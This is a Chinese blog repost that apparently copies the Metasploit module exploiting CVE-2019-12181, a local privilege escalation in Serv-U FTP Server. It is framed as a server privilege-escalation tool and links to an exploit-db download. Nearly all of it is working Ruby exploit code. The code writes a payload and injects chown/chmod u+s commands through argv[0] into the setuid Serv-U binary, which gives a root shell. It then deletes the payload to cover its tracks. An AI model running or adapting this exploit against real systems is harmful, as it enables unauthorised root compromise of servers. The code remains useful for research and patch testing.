服务器2008系统提权工具,CVE-2019-12181 Serv-U FTP Server本地提权漏洞(Metasploit)利用工具...

转载

weixin_39905226 于 2021-08-05 18:06:28 发布 119 收藏
文章标签： 服务器2008系统提权工具

CVE-2019-12181 Serv-U FTP Server 本地提权漏洞(Metasploit)利用工具源码##

```
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name'          => 'Serv-U FTP Server prepareinstallation Privilege Escalation',
'Description'    => %q{
This module attempts to gain root privileges on systems running
Serv-U FTP Server versions prior to 15.1.7.
The `Serv-U` executable is setuid `root`, and uses `ARGV[0]`
in a call to `system()`, without validation, when invoked with
the `-prepareinstallation` flag, resulting in command execution
with root privileges.
This module has been tested successfully on Serv-U FTP Server
version 15.1.6 (x64) on Debian 9.6 (x64).
},
'License'       => MSF_LICENSE,
'Author'        =>
[
'Guy Levin', # @va_start - Discovery and exploit
'bcoles'     # Metasploit
],
'DisclosureDate' => '2019-06-05',
'References'     =>
[
['CVE', '2019-12181'],
['EDB', '47009'],
['PACKETSTORM', '153333'],
['URL', 'https://github.com/guywhataguy/CVE-2019-12181'],
['URL', 'https://github.com/bcoles/local-exploits/tree/master/CVE-2019-12181'],
['URL', 'https://blog.vastart.dev/2019/06/cve-2019-12181-serv-u-exploit-writeup.html'],
['URL', 'https://documentation.solarwinds.com/en/success_center/servu/Content/Release_Notes/Servu_15-1-7_release_notes.htm'],
['URL', 'https://support.solarwinds.com/SuccessCenter/s/article/Serv-U-Potential-elevation-of-privileges-on-Linux-systems']
],
'Platform'       => ['linux'],
'Arch'           =>
[
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes'   => ['shell', 'meterpreter'],
'Targets'        => [['Auto', {}]],
'DefaultOptions' =>
{
'PrependSetresuid' => true,
'PrependSetresgid' => true,
'PrependFork'      => true,
'WfsDelay'         => 30
},
'DefaultTarget'  => 0))
register_options [
OptString.new('SERVU_PATH', [true, 'Path to Serv-U executable', '/usr/local/Serv-U/Serv-U'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end
def servu_path
datastore['SERVU_PATH']
end
def base_dir
datastore['WritableDir'].to_s
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_chmodx(path, data)
upload path, data
chmod path
```

```
end
def check
unless command_exists? 'bash'
vprint_error 'bash shell is not available'
return CheckCode::Safe
end
vprint_good 'bash shell is available'
unless cmd_exec("test -x '#{servu_path}' && echo true").include? 'true'
vprint_error "#{servu_path} is not executable"
return CheckCode::Safe
end
vprint_good "#{servu_path} is executable"
unless setuid? servu_path
vprint_error "#{servu_path} is not setuid"
return CheckCode::Safe
end
vprint_good "#{servu_path} is setuid"
CheckCode::Detected
end
def exploit
unless check == CheckCode::Detected
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end
```

```
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
if nosuid? base_dir
fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
end
payload_name = ".#{rand_text_alphanumeric 10..15}"
@payload_path = "#{base_dir}/#{payload_name}"
upload_and_chmodx @payload_path, generate_payload_exe
argv0 = %Q{\\";chown root #{@payload_path};chmod u+s #{@payload_path};chmod +x #{@payload_path}\\"}
cmd = %Q{bash -c 'exec -a "#{argv0}" #{servu_path} -prepareinstallation'}
vprint_status "Executing command: #{cmd}"
cmd_exec cmd
unless setuid? @payload_path
fail_with Failure::Unknown, 'Failed to set payload setuid root'
end
print_good "#{@payload_path} setuid root successfully"
print_status 'Executing payload...'
res = cmd_exec "#{@payload_path} &"
vprint_line res
end
def on_new_session(session)
if session.type.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.fs.file.rm @payload_path
else
session.shell_command_token "rm -f '#{@payload_path}'"
end
ensure
super
end
```

end

下载地址：https://www.exploit-db.com/download/47072